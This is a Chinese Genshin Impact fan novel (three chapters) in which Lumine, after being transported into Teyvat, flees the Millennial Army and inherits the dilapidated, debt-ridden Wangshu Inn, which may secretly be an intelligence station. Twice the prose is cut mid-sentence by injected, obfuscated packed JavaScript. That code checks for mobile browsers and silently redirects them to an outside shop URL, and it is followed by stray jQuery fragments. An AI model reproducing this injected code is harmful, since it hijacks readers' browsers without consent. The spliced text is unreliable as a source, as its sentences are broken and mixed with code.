《[原神]继承望舒但欠债五十万》 1. 史上最亏穿越 荧觉得自己上辈子一定是欠了天理维系者的债。 作为一个在原世界肝了三年原神、抽卡从未歪过金、每次都要攒满保底才能出货的纯种非酋，她万万没想到，自己猝死后穿越的目的地居然是提瓦特大陆。更没想到的是，她穿成了游戏里的主角——旅行者荧。 听起来很美好对吧？ 才怪。 "荧快跑啊啊啊！"派蒙在前面飞，"千岩军追上来了！" 荧气喘吁吁地在璃月港的街道上狂奔，脑子里一片混乱。 三个小时前，她还是个在原世界996到猝死边缘的社畜，刚打完须弥的空月之歌主线，正准备睡觉——然后一睁眼，就发现自己穿越了。 穿越到《原神》世界。 成为了旅行者荧。 本来她还挺高兴的——终于不用996了！终于能在提瓦特大陆冒险了！ 然后她就发现自己正在被千岩军追捕。 "站住！刺杀帝君的嫌疑人！"身后的千岩军大喊。 "我没有刺杀帝君啊啊啊！"荧崩溃地大喊。 当然，千岩军不会相信。 "快快快！往那边跑！"派蒙指着前方。 荧低头一看——前面是璃月港的城门，外面是荒野。 她咬牙冲出城门，沿着大路狂奔。 跑了大概十分钟，她终于把千岩军甩掉了，瘫坐在路边大口喘气。 "我……我不行了……"她喘着粗气，"派蒙……我们现在怎么办……" "我也不知道啊！"派蒙也很慌，"本来以为会有人帮我们洗清嫌疑的，结果现在什么线索都没有……" 荧在心里疯狂吐槽：游戏里明明是公子和钟离帮忙的，现在公子和钟离人呢？剧情怎么不按套路走啊？ 她抬起头，看着周围陌生的环境。 这里应该是璃月港北部的荻花洲附近，远处有座很高的建筑—— 等等。 那座建筑…… 荧眯起眼睛仔细看。 那是一座建在巨型砂岩柱顶端的建筑，看起来像是客栈，旁边有个巨大的水车在缓缓转动，应该是用来驱动升降机的。 望舒客栈！ 作为一个肝了三年原神的资深玩家，她当然认得这个地标建筑。 但是…… "那个客栈怎么看起来这么破？"派蒙也注意到了，"而且好像没什么人……" 确实，眼前的望舒客栈看起来冷冷清清的，甚至有些破败。荧记得游戏里这里应该是热闹的中转站才对。 她正想靠近看看，突然听到远处传来脚步声。 "在那边！" "追！" 千岩军又追上来了！ "靠！"荧爬起来继续跑，"往客栈方向跑！" 她冲到望舒客栈下面，看到了一个简陋的升降机平台——就是用绳子和木板搭建的那种，旁边有个巨大的水车，上面写着"摇动把手启动升降机"。 "什么年代了还用人力升降机？！"荧吐槽，但还是抓住把手开始摇。 "荧你快点！"派蒙催促，"他们快追上来了！" 荧拼命摇，手都快断了，升降机缓缓上升。 "这破电梯也太慢了吧！"她咬牙，"还不如爬绳子快！" 好不容易升到客栈入口，她跳下升降机，冲进客栈—— 然后愣住了。 客栈里空无一人。 不对，准确来说，应该是空无一切活物。 柜台上积着灰尘，桌椅歪歪斜斜，角落里有蜘蛛网在随风飘荡。唯一看起来还算新的，是柜台上摆着的一封信和一本厚厚的账本。 "这……这是什么情况？"派蒙飘进来，"客栈怎么没人？" 荧也很困惑。 游戏里的望舒客栈应该有菲尔戈黛特和淮安经营，魈也经常在这里出现，怎么现在看起来像是废弃了很久的样子？ 她走到柜台前，拿起那封信。 信封上没有署名，只有几个潦草的大字：致有缘人。 "有缘人？"派蒙疑惑，"什么意思？" 荧皱眉，拆开信封。 里面的内容让她心里升起了一股不祥的预感： "有缘人，能看到这封信，说明你我缘分不浅。望舒客栈已是无人经营，今日起便交由你打理。客栈房契、账本俱在，祝你好运。——前任老板" 信纸的笔迹潦草模糊，签名部分更是被什么东西弄脏了，完全看不清。 "等等。"荧的太阳穴开始突突地跳，"这什么意思？交给我打理？" "荧你看！"派蒙已经飘到账本旁边，"这里还有本账本！" 荧有种不祥的预感。 以她作为资深非酋玩家的直觉，这封信绝对有问题。 但她的手已经不受控制地翻开了账本。 下一秒，她的表情凝固了。 账本的第一页，用工整的字体写着： 望舒客栈资产负债表 总欠款：500,000 摩拉 "五……五十万？！"荧的声音拔高了八度。 更恐怖的是，当她继续往下翻时，账本仿佛活过来一般，自动展开成一条长长的卷轴。 一米。 两米。 三米。 卷轴不停地展开，密密麻麻全是欠条记录，从桌子上滚到地面，又滚过门槛，一路滚出了客栈大门—— "啊啊啊停下！"荧惊恐地追着账本往外跑。 卷轴在悬空的客栈平台上铺开了整整五米长。 荧站在平台边缘，低头看了一眼——下面就是几十米高的悬崖。 她打了个寒战，赶紧后退。 "这什么破客栈！"她崩溃，"建在这么高的地方，还欠债五十万！" "荧……"派蒙小心翼翼地说，"这个客栈好像真的是前任老板留给你的……" "我不要！"荧大喊，"谁要这种烂摊子啊！" 就在这时，一个路过的商人停下脚步，好奇地看着满地的欠条，又看看荧。 "哦！你就是新老板吧？"商人笑容满面，"恭喜恭喜！我是绝云商会的，你前任老板还欠我三千摩拉的茶叶款，麻烦一起还了哈！" 荧：？？？ "等等！"她崩溃，"谁说我是老板了？！" "你手里拿着信和账本，不是老板是什么？"商人理所当然地说，"做生意要讲诚信啊。" 说完，商人潇洒地把欠条塞进荧的手里，拍拍她的肩膀："生意兴隆啊！" 荧僵硬地站在原地，看着手里新增的欠条。 "派蒙……"她艰难地开口，"我是不是被坑了？" "好像……是的……"派蒙也傻眼了。 荧深吸一口气，试图理清思路。 她穿越了。 成为了被通缉的"刺杀帝君"嫌疑人。 逃亡途中误打误撞跑到望舒客栈。 然后莫名其妙接手了这个欠债五十万的烂摊子。 "等等。"她突然想起什么，"我可以不接手啊！我又没答应！" 她转身想往升降机跑—— 然后发现自己的口袋里多了一张泛黄的纸。 拿出来一看——是望舒客栈的房契。 "这……这什么时候？！"荧震惊。 "应该是你拆开信的时候。"一个低沉而从容的声音从门口传来。 荧猛地转头—— 一个穿着棕色长袍的俊美男子站在升降机旁边，手里端着一杯茶，神情淡然。 "钟……钟离？！"荧瞪大眼睛。 "初次见面。"钟离微微颔首，"听闻望舒客栈迎来新主人，特来拜访。" "等等！"荧的大脑飞速运转，"你怎么知道我是新老板的？而且你怎么上来的？我明明把升降机停在下面了！" "因为我是前任老板的故人。"钟离轻啜一口茶，"他曾托我代为观察继任者是否可靠。至于升降机……水车驱动的机关，可以从下方启动。" 荧看向升降机——确实，下面也有个摇杆。 "所以……"她咬牙，"你一直在下面等着？" "可以这么说。"钟离平静地回答。 "从什么时候开始等的？" "从你打开账本开始。" 荧：…… 所以这个男人就这么站在下面，看着她在上面崩溃，然后优雅地摇着升降机上来了？ "钟离先生。"她努力保持冷静，"我不想接手这个客栈。我现在就把房契还给前任老板，可以吗？" "前任老板已经离开璃月了。"钟离说。 "那我把房契扔掉总行吧？" "房契一旦转移，便无法撤销。"钟离微笑，"而且，你目前在璃月的身份证明，只有这份房契。" 荧僵住。 "你的意思是……" "作为被通缉的嫌疑人，若是没有这份房契证明你是合法居民，你将寸步难行。"钟离的语气依然平静，"就常理而言，持有客栈房契的人，璃月七星不会轻易将其定为罪犯。" 荧感觉自己听到了什么东西碎裂的声音。 那是她逃跑希望的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988396|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 "所以……"她深吸一口气，"我必须接手这个欠债五十万、建在悬崖上、还要自己摇升降机的破客栈？" "望舒，望你舒心。"钟离说，"这是前任老板起名时的寓意。" "望我输钱还差不多！"荧崩溃。 钟离完全无视了她的吐槽，继续说："年轻人应该多经历些磨练。我相信你能妥善处理。" "你都不帮忙的吗？！" "我能提供的帮助是——"钟离转身离开，"如有需要，随时可以来找我喝茶。" "喝茶有什么用啊！"荧在他背后大喊。 钟离的身影消失在升降机下方，只留下一句悠远的回应："品茶能使人心境平和，这对经营很有帮助。" 荧无力地瘫坐在客栈门口的台阶上，仰望天空。 "荧……"派蒙也飘到她身边坐下，"我们接下来怎么办？" "还能怎么办。"荧苦笑，"至少有了这个房契，千岩军应该不会抓我们了吧？" "应该是这样……"派蒙小声说，"而且这个客栈虽然破，但至少有地方住了。" 荧沉默了很久。 她想起原世界的996，想起猝死前还在肝深渊，想起穿越后就被追杀…… "既然逃不掉。"她站起来，拍拍身上的灰尘，眼神中闪过一丝倔强，"那就干吧。不就是五十万摩拉吗？不就是个建在悬崖上、要自己摇升降机的破客栈吗？我在原世界连房贷都还了三年，还怕这个？" "对！荧最厉害了！"派蒙立刻恢复精神。 "不过在那之前……"荧转身走回客栈，环顾四周，"我们得先把这个地方收拾一下。" 她抬头看向客栈的天花板——这座建在砂岩柱顶端的悬空建筑，确实有种武侠小说里的感觉，但问题是…… "这客栈会不会哪天掉下去啊？"她忧心忡忡。 "应该……不会吧？"派蒙也不确定，"这客栈看起来已经很旧了，如果会掉早就掉了。" "说得也是。"荧走到窗边往下看——几十米高的悬崖，下面是荻花洲的湖泊。 "住在这里天天提心吊胆……"她嘀咕。 "荧你快看这个！"派蒙在厨房大喊。 荧走过去——厨房的灶台上摆着一盘杏仁豆腐。 一盘长满了五颜六色蘑菇的杏仁豆腐。 "这玩意儿是什么时候的？"荧的嘴角抽搐。 "不知道……"派蒙小心翼翼地凑近闻了闻，"好像还有点香？" "住手！"荧一把拽住她，"你想死可以直说！" 她继续检查客栈—— 客房的床单有三个破洞，大小形状像是被什么东西咬的。 浴室的水管在漏水。 吧台下面垫着三块砖头，因为少了一条腿。 "这客栈到底经历了什么……"荧扶额。 她走回大厅，看着柜台上那本账本。 五十万摩拉的债务。 一个建在悬崖上的破客栈。 还有一个不知道跑哪去了的前任老板。 "派蒙。"她深吸一口气，"明天我们去璃月港一趟。" "去干什么？" "去见见这些债主。"荧拿起账本，"既然接手了这个客栈，总得把情况摸清楚。而且……我总觉得这个客栈没那么简单。" "什么意思？"派蒙疑惑。 荧在心里吐槽：游戏里这里是魈的据点，菲尔戈黛特和淮安好好的，怎么现在突然前任老板跑路了？这里面肯定有问题。 但她嘴上只是说："直觉。" "哦……"派蒙似懂非懂。 夜幕降临。 荧躺在会漏水的床上（她把床移到了不漏水的位置），看着天花板的裂缝。 外面传来水车转动的声音，还有风吹过悬崖的呼啸声。 "我穿越第一天……"她喃喃自语，"就接手了一个欠债五十万、建在悬崖上、还要自己摇升降机的破客栈。" "而且还是被千岩军通缉的嫌疑人。" "唯一的收获是有了合法身份。" 她翻了个身，闭上眼睛。 "算了。至少比996强。" 窗外，水车还在转动。 远处的璃月港灯火通明。 望舒客栈孤零零地立在悬崖顶端，在夜色中显得格外寂寥。 而在客栈顶层的阴影中，一双金色的眼睛静静地注视着这一切。 "新的老板……"一个低沉的声音自言自语，"有意思。" 然后那双眼睛消失在黑暗中。 2. 地窖探险记 荧是被水滴声吵醒的。 滴答，滴答，滴答…… 她睁开眼睛，发现天花板正在漏水，水滴精准地落在她脸上。 她面无表情地坐起来，问道：“又来？昨晚明明把床挪到角落了，这水是会拐弯吗？” 派蒙打着哈欠飘过来，打招呼道：“早啊荧！睡得好吗？” 荧指着天花板，毫不客气地反驳：“好个屁。你看那个水渍，是不是比昨晚大了一圈？” 派蒙抬头看了看，迟疑地说：“好像是诶……” 荧面无表情地分析：“所以这客栈不仅会漏水，漏水的范围还会扩大。照这个速度，三天后整个房间都会下雨。” 派蒙担忧地问：“那怎么办？” 荧爬起来，无奈地说：“能怎么办。先收拾客栈吧。反正已经够倒霉了，还能更倒霉到哪去。” 话音刚落，楼下传来“咚”的一声巨响。 两人冲到窗边往下看——升降机的绳子断了一根，整个平台歪歪斜斜地吊在半空中。 荧和派蒙都愣住了，一时说不出话来。 荧深吸一口气，沉声道：“我收回刚才的话。能更倒霉。” 她冲下楼，检查升降机——好在只是一根绳子断了，另外三根还能用，但平台已经彻底歪了，根本没法正常使用。 派蒙小心翼翼地问：“所以现在要下去的话……” 荧看着几十米高的悬崖，平静地说：“只能爬绳子，或者跳下去。” 派蒙又问：“那要是有客人来怎么办？” 荧已经放弃思考了，无所谓地说：“让他们也爬上来。反正这客栈什么都破，多一个破升降机也不奇怪。” 派蒙突然提醒：“可是荧，你昨天不是说要去璃月港买食材吗？” 荧看了看升降机，又看了看绳子，迟疑了一下说：“算了，先不买了。我们先把客栈里能用的东西找出来。” 派蒙追问：“那去哪找？” 荧突然想起什么，说道：“地窖。客栈这么大，肯定有储物间或者地窖之类的地方。” 她回到楼上，开始在储物间里翻找。翻了五分钟，终于发现一个松动的木板。她用力掀开木板，下面是一个黑漆漆的洞口，冷风从里面吹出来，还伴随着一股霉味。 派蒙捏着鼻子，嫌弃地说：“这就是地窖？好臭啊……” 荧点燃一支火把，说道：“废话，前任老板都跑路了，地窖肯定没人管。走，下去看看。说不定有值钱的东西。” 派蒙有些胆怯地问：“万一有怪物呢？” 荧说得理所当然：“那就打。我在原世界连深渊12-3都打过，还怕地窖里的怪物？” 派蒙提醒道：“可是你现在没有元素战技啊……” 荧想了想，认同道：“……有道理。那我们小心点。” 两人小心翼翼地爬下楼梯，木头腐朽得厉害，荧每踩一步都担心会塌。 好不容易到了第一层，派蒙看到架子上的罐子，立刻飞了过去，兴奋地喊道：“哇！好多吃的！” “等等——”荧想阻止已经来不及了。 派蒙打开第一个罐子，惊喜地说：“这是……烤鸡？太好了！” 可下一秒，她就看清了罐子里的东西—— 一块干成木乃伊、长满绿毛、还有小虫子在爬的烤鸡架。 派蒙差点吐了，震惊地大喊：“呕——这是什么年代的东西？！” 荧翻了个白眼，吐槽道：“你还好意思问。我都说了前任老板跑路了，地窖里的东西肯定都过期了。” 她检查了其他罐子—— 面粉长蘑菇了，腌肉变成了一滩黑水，至于蔬菜，她已经分不清那是蔬菜还是某种未知生物了。 派蒙绝望地问：“所以这一层就是个食品坟场？” 荧指着角落的楼梯，说道：“应该还有第二层。走。” 第二层比第一层大得多，到处都是文件柜。 派蒙疑惑地问：“这是什么地方？” “档案室？”荧随手打开一个柜子，里面全是文件。 她抽出一张看了看，是前任老板的待办清单： 周一：还千岩军军饷押金（已拖欠三个月） 周二：向璃月总务司补交营业税 周三：给绝云商会结茶叶款 周四：处理客户投诉（房间漏水×12） 荧看到最后一条，惊讶地说：“等等，房间漏水×12？所以这客栈的漏水是传统？” 派蒙也凑过来看，附和道：“看起来是……” 荧追问：“那前任老板有修吗？” 两人继续往下看—— 没有。 待办清单上的“修补漏水”一直被往后推，从周四推到周五，从周五推到下周一，从下周一推到下下周…… 派蒙震惊地说：“所以前任老板就这么一直拖着？” 荧扶额叹息：“现在我知道为什么整个客栈都在漏水了。前任老板根本就没打算修！” 她继续翻其他文件—— 一份经营记录，每天收入两位数，支出四位数； 一叠催债函，来自璃月各大商会； 还有一张泛黄的照片，上面是一对夫妇站在客栈门口，女的看起来是西方人…… 荧盯着照片，脑子里飞速运转。 西方面孔的女性？望舒客栈？菲尔戈黛特！ 她在心里疯狂吐槽：这不是提瓦特玩家都知道的常识吗？ 望舒客栈的老板就是菲尔戈黛特和淮安夫妇！ 但是游戏里他们经营得好好的啊，怎么现在欠债五十万跑路了？ 剧情崩了吗？ 还是这个世界线不一样？ 派蒙凑过来问：“荧你在看什么？” 荧把照片收起来，说道：“没什么。继续找。” 她打开另一个柜子，里面是一堆用火漆封着的信。 派蒙好奇地问：“这是什么？” 荧拆开第一封，上面写着： 菲尔戈黛特： 上月情报已收到。 璃月港商会动向、至冬使团行踪、愚人众活动记录，均已整理完毕。 下月重点关注北国银行…… 后面的内容被撕掉了。 荧的眼睛瞪大了：情报？ 她又拆开第二封，上面写着： 淮安： 层岩巨渊的异动需密切监视。 每月15日的运输不可中断…… 又是被撕掉的。 荧呆呆地看着这些信，在心里疯狂吐槽： 等等等等！ 所以这个客栈不只是客栈？是情报站？ 游戏里菲尔戈黛特给凝光收集情报的设定居然是真的？ 但这些信看起来不像是给凝光的…… 那是给谁的？钟离？公子？ 所以我接手的不是一个普通客栈，是间谍据点？？？ 派蒙看她表情不对，担忧地问：“荧？你没事吧？” 荧深吸一口气，说道：“没事。就是突然意识到我可能被卷进什么了不得的事情里了。” 派蒙追问：“什么意思？” 荧把信收起来，说道：“没什么。继续找找看还有什么。” 她打开第三个柜子，突然大喊一声：“啊！” 一只巨大的蜘蛛从柜子里跳了出来，直接扑到荧脸上。 荧疯狂甩头，大喊：“啊啊啊啊啊！滚开滚开滚开！” 蜘蛛被甩到地上，立刻往天花板爬去。 派蒙大喊：“荧小心！它要跑了！” 荧喘着粗气说：“跑就跑啊！我又不想抓它！” 结果蜘蛛没跑，它爬到天花板上，然后转身，八只眼睛盯着荧。 派蒙颤抖着说：“它……它在看我们？” 荧往后退，吐槽道：“应该是在看你。毕竟你看起来比较好吃。” 派蒙不服气地喊：“什么叫我看起来比较好吃？！” 话音刚落，蜘蛛突然从天花板上跳了下来，直扑派蒙。 派蒙尖叫着躲到荧背后，大喊：“呀啊啊啊！救命啊！” 荧一边后退一边吐槽：“你不是应急食品吗？怎么连蜘蛛都怕？” 派蒙死死抓住荧的衣领，辩解道：“应急食品也有害怕的东西啊！而且会影响口感的！” 荧无奈地说：“谁要吃你啊！” 蜘蛛越追越近，荧被逼到了角落。 派蒙大喊：“荧！用火！用火烧它！” “对哦！”荧举起火把，朝蜘蛛挥舞。 蜘蛛确实被吓退了，可火把上的火苗也掉了下来，正好落在角落堆着的一堆文件上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988397|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “滋——”火瞬间烧起来了。 “卧槽！”荧赶紧想扑火，但火势蔓延得太快了，那堆文件眨眼间就烧成了灰。 蜘蛛看到火，吓得爬回天花板的裂缝里消失了。 派蒙从荧背后探出头，欣喜地说：“蜘蛛走了！太好了！” “好个屁！”荧看着地上的灰烬，整个人都不好了，“那些是文件啊！万一有重要的东西怎么办？” 派蒙心虚地说：“应该……没事吧？反正都是旧文件……” 荧蹲下来，从灰烬里翻出几张没烧完的纸角，声音开始颤抖：“你看这张，上面写着‘已结清’。这些是已还清的收据。” 派蒙愣住了：“啊？” 荧抬头看着派蒙，沉声道：“也就是说，那些能证明前任老板还过钱的凭证，现在全烧了。” 派蒙迟疑地问：“那……那岂不是……” 荧深吸一口气，说道：“对。那些商户可以重复要账了。五十万的债，可能要变六十万。” 空气安静了三秒。派蒙小声说：“荧……要不我们假装没下来过？” 荧指着满地的灰，无奈地说：“你觉得可能吗？这些灰都是证据。” 派蒙又问：“那怎么办？” 荧站起来，摆烂道：“凉拌。已经这样了，还能怎么办。” 她正准备上楼，突然看到墙角有一道门，疑惑地说：“那是什么？” 走近一看——门上刻满了复杂的符文，中央有个岩元素标记，正微微发着金光。 荧试着推了推，纹丝不动，她在心里吐槽： 游戏里根本没有这个设定啊！地窖里怎么会有岩元素门？ 而且这个符文的样式……看起来像是古代的封印？ 派蒙问：“荧，这门打得开吗？” 荧敲了敲门，里面传来沉闷的回响，说道：“打不开。而且听这声音，门后应该是个很大的空间。” 派蒙眼睛发亮，猜测道：“会不会是宝藏？” 荧转身往楼梯走，泼冷水道：“以我的非酋运气，里面只会有更多的债务清单。走吧，先上去。这门暂时打不开，等以后有办法了再说。” 两人爬回一楼，阳光刺得荧眼睛疼。 她坐在吧台后面，开始总结今天的收获： 第一，地窖有三层。 第一层是食品坟场，第二层是情报档案馆，第三层有一扇打不开的门。 第二，我们烧掉了前任老板的还款收据，债务可能要增加。 第三，这个客栈不只是客栈，很可能是情报站。 第四…… 她看着不远处歪歪斜斜的升降机，补充道，“升降机坏了。” 派蒙小心翼翼地问：“所以……我们接下来怎么办？” 荧站起来，坚定地说：“先把升降机修好。不然客人来了都上不来。” 派蒙担忧地说：“可是我们不会修啊。” 荧咬牙道：“那就去璃月港找人修。但首先得先下去。” 她走到窗边，看着悬崖下面的绳子。 派蒙有种不祥的预感，问道：“荧……你不会是想……” 荧深吸一口气，说道：“对。爬下去。” 派蒙惊呼：“可是好高啊！” 荧抓住绳子，说道：“我知道。但没别的办法了。” 十分钟后，荧手脚并用，终于爬到了地面。 她瘫在地上，手臂发抖，腿也软了，喘着粗气说：“我……我以后……绝对要……把升降机修好……” 派蒙飘在旁边，夸赞道：“荧你真厉害！” “厉害个屁。”荧站起来。 她看着手里从地窖拿出来的那些信，说道，“走，去璃月港找修理工。顺便买点食材。还有……我得去查查，这个客栈到底藏着什么秘密。” 她在心里补充：虽然我是玩家，但这个世界显然和游戏不完全一样。 情报站、岩元素门、层岩巨渊的运输……这些游戏里都没提过。 我得搞清楚，自己到底接手了个什么玩意儿。 远处，璃月港的钟声响起。 而在客栈顶层，一双金色的眼睛注视着爬绳子下去的荧。 低沉的声音在阴影中响起：“有意思。居然发现了情报室。” 说完，那双眼睛便消失在阴影中。 3. 开业大吉（并没有） 第二天天刚亮，荧就抓着望舒客栈外的老旧绳子往下爬。 落地时手还在抖，胳膊酸得像灌了铅。 总务司的文员接过她递来的房契，扫了一眼抬头，先开口道：“欢迎来到璃月港。”随即抬眉问道：“望舒客栈的新老板？” 荧点头应道：“是的，我来报备身份。” 文员指尖划过泛黄的房契，细细翻看着，沉吟一声：“嗯……房契确实没问题。不过你是外来者吧？有璃月的居住证吗？” 荧坦诚道：“没有。我就是因为没有居住证，所以才接手客栈的。” 文员抬头看了她一眼，了然道：“懂了。房契可作临时居住证明，但转正式居民需准备户籍备案表、商户担保书等材料，所有手续办下来要五千摩拉手续费。” 后面的话荧听得头晕脑胀，一堆繁琐手续像走马灯似的在耳边转，最后只死死记住了最关键的一句： 所有手续办下来，需要缴纳五千摩拉的手续费。 “五千？”荧的声音瞬间拔高了八度，差点拍案而起。 文员面无表情地点头：“是的。这是璃月的规定，概不议价。” 荧在心里疯狂刷屏吐槽： 什么鬼啊！游戏里根本没有这个设定好吗！ 玩家只要跟NPC对话点几下就能拿到璃月身份，怎么到我这儿还要交钱？ 而且一要就是五千摩拉？！ 我现在全身上下翻遍了，加起来都没一千摩拉，这是要逼死我啊！ 她咽了口唾沫，小心翼翼地试探：“那个……手续费可以欠着吗？等我客栈开业赚钱了再补？” “不可以。”文员语气公事公办，没有半点商量余地，“必须当场缴纳，否则无法完成报备。” “……好吧。”荧无力地叹气，“那我先回去准备准备。” 走出总务司，荧掏出钱袋倒出仅有的八百摩拉，看着这几枚孤零零的硬币，整个人都蔫了。 派蒙飘在她身边，担忧地问：“荧，怎么办啊？五千摩拉可不是小数目。” 荧咬牙攥紧拳头：“先不管居民身份了！反正有房契在手，千岩军暂时不会抓我。现在最紧急的是把客栈修好，赶紧开业赚钱，不然我们迟早要饿死。” 派蒙眼睛一亮：“那我们去买修补客栈的材料？” “对。”荧收起钱袋，径直走向璃月港的建材市场，“先去问问价格。” 十分钟后，荧站在建材店门口，盯着墙上张贴的价目表，整个人当场石化，连呼吸都停滞了—— 修补屋顶漏水：5000摩拉起 更换破损木板：2000摩拉/平米 修理升降机：8000摩拉 窗户玻璃：1000摩拉/扇 荧深吸一口气，语气里满是绝望地说：“我就知道。以我的非酋运气，果然什么都买不起。” “那怎么办？客栈不修根本没法开业啊！”派蒙急得原地转圈。 荧转身就往璃月港外走，眼神变得异常坚定地说：“还能怎么办，自己动手。走，去归离原。” 派蒙追上去问：“去那里干什么？” 荧的声音带着点破釜沉舟的意味，说道：“砍树。材料买不起，就自己去野外收集。木板、树枝这些，归离原的树林里有的是。” 她在心里哀嚎：游戏里砍树轻松无比，穿越后没了元素力，只能用生锈斧头硬砍，简直是苦役！ 两个小时后，归离原的树林里。 荧抡着生锈斧头砍树，半天只削下点木屑，斧头还差点脱手。 她盯着手里豁了口的斧头，又看了看几乎完好无损的树干，陷入自我怀疑，迟疑地说：“这……是斧头太钝了，还是我现在太弱了？” 派蒙在旁边小声补刀：“应该……两者都有吧？” 荧心态崩了：游戏里点下鼠标树就倒，现在十分钟连树皮都破不了！没元素力还没身份，根本不敢找七天神像激活力量。 吐槽归吐槽，活还是得干。她咬着牙调整姿势，继续一下一下地砍树。 又过了半小时，伴随着“咔嚓”一声脆响，那棵树终于缓缓倒下。 “成功了！”派蒙兴奋地拍手欢呼。 荧直接瘫坐在地，手臂酸得抬不起来，没好气地说：“闭嘴，别高兴太早，至少要十棵树才够修客栈的木料。” 派蒙的欢呼声戛然而止，小声安慰：“那……那我们慢慢砍？总会砍够的。” 荧撑着地面站起来，看着手掌心磨出的红印，眼神里满是悲壮地说：“对，慢慢砍。不就是十棵树吗，砍就完了。” 整整一天，荧在归离原反复挥斧，太阳落山时只砍倒五棵树，胳膊早已酸得失去知觉。 第二天，她又咬牙砍了五棵。直到夕阳西下，才拖着十棵树的木料，艰难地爬绳子回到望舒客栈。 她瘫在客栈门口喘不过气，咬牙发誓：“赚到钱第一件事就修升降机，谁再让我爬绳子我跟谁急！” 派蒙突然想起什么，眼睛一亮，说道：“对了荧！要不我们去找钟离先生帮忙？他不是前任老板的故人吗？说不定他有办法修升降机！” 荧瞬间来了精神，疲惫都消散了大半，说道：“对啊！我怎么没想到！钟离先生见多识广，肯定能帮上忙！” 第三天一早，荧揣着仅剩的一点干粮，直奔璃月港的茶馆，果然在那里找到了正在慢悠悠喝茶的钟离。 “钟离先生，想请你帮个忙。”她快步上前坐下，急切道。 钟离放下茶杯，优雅地抬手示意：“请讲。能效劳的地方，我必尽力。” 荧连忙说明：“望舒客栈的升降机坏了，绳子断了客人上不来，你能帮忙修或推荐靠谱的人吗？” 钟离指尖轻点桌面，陷入沉思，片刻后缓缓开口道：“升降机……机械类的修缮工作，我并不擅长。” 荧心里一沉，追问：“那你擅长什么？只要能帮上忙，什么都可以！” 钟离眼神郑重，认真地说：“超度。” 她怀疑自己听错了，迟疑地问：“超……超度？” 钟离点头，一本正经地解释道：“正是。若是升降机的灵魂不安，导致其运作不畅，我可以代为超度，安抚其灵，使其安息后，或许便能恢复正常。” 荧深吸一口气强压吐槽，挤出微笑：“钟离先生，升降机是物理损坏，绳子断了、零件锈了，没有灵魂。” 钟离恍然大悟，轻轻颔首道：“原来如此。是我思虑不周。既如此，便需要找专业的木匠修理了。我可以为你推荐几位技艺精湛的匠人，他们修缮过璃月港的诸多器械。” 荧连忙问：“那修理费用大概是多少？” “约莫八千摩拉。”钟离平静地报出价格。 “……算了。我自己想办法吧。谢谢钟离先生。”荧瞬间站起身，语气里满是绝望。 她转身就走，内心腹诽： 钟离居然想给升降机超度？太离谱了！八千摩拉我连零头都凑不出。 回到客栈后，荧盯着摇摇欲坠的升降机，陷入了深深的沉思。 派蒙飘过来问：“荧，升降机修不起，那客人怎么上来啊？总不能让所有人都爬绳子吧？” 荧叹气，语气里满是无奈地说：“不然还能怎么办？只能先这样了。走，我们上去，抓紧时间修客栈，争取早日开业。” 接下来两天，荧开启了地狱模式的自力更生。 她用砍来的木头补屋顶，却因不会木工屡屡出错，钉子钉歪、砸伤手指是常事；清理的蜘蛛网隔天复发；破损窗户只能用木板封住，房间又暗又闷。 到了第四天晚上，荧看着勉强能看的客栈，直接瘫在了吧台上，连动一根手指的力气都没有了。 “终于……能开业了……”她有气无力地说。 派蒙绕着她飞了一圈，看着客栈里简陋的布置，小声说：“荧你真厉害！这就是传说中的纯狱风装修吗？” 荧翻了个白眼，看着满是水泡和伤口的手满是委屈：这不是纯狱风，是穷得没办法。穿越前是社畜，穿越后成了苦逼难民，连史莱姆都打不过。 派蒙突然拍了下脑袋，没接她的吐槽，提醒道：“对了！我们还要写开业告示！不然别人不知道客栈重新开业了。” “哦对，差点忘了。”荧挣扎起身，写下告示： 望舒客栈重新开业 住宿500摩拉/晚（含早餐） 升降机维修中请自行攀爬 欢迎新老顾客光临！ 她把写好的告示贴在楼下临时搭的前台（用木板和箱子拼的）上，说道：“好了。明天正式开业，希望能有客人来。” 第五天，开业日。 荧一早起身检查客栈，坐在吧台后摆出营业微笑，静静等待客人。 一小时过去，无人问津。 两小时过去，依旧空无一人。 派蒙飘到窗边张望：“会不会……没人看到告示啊？” “应该不会。这里是璃月港去轻策庄的必经之路，总会有人路过。”荧也望向窗外。 话音刚落，楼下就传来了脚步声，还越来越近。 “来了来了！”派蒙兴奋地跳起来。 荧立刻整理好表情，精神一振，准备迎接第一位客人。 很快，楼下传来一个男人的喊声：“新老板在吗？望舒客栈重新开业了吗？” “在！”荧赶紧回应，“您稍等，我马上下来！” 她抓着绳子往下爬，三分钟后气喘吁吁落地，只见一位商人站在前台前，笑容满面。 “哦，果然重新开业了。”商人上下打量了她一眼，笑着说。 荧热情地迎上去，说道：“是的！欢迎光临！请问您是要住店吗？我们这里环境干净，价格实惠，还含早餐！” 商人愣了一下，然后哈哈大笑起来，说道：“住店？不不不，我不是来住店的。我是来要账的。你们前任老板还欠我五千摩拉的木材款，这都拖了大半年了。” 荧的笑容瞬间僵住，难以置信地问：“您不是来住店的？” 商人理所当然地把一张欠条塞进她手里，拍了拍她的肩膀，说道：“对啊，我是来要账的。祝你生意兴隆啊，新老板！记得尽快把钱还我。” 商人转身就走，留下荧呆立原地，手里攥着轻飘飘却重如泰山的欠条。 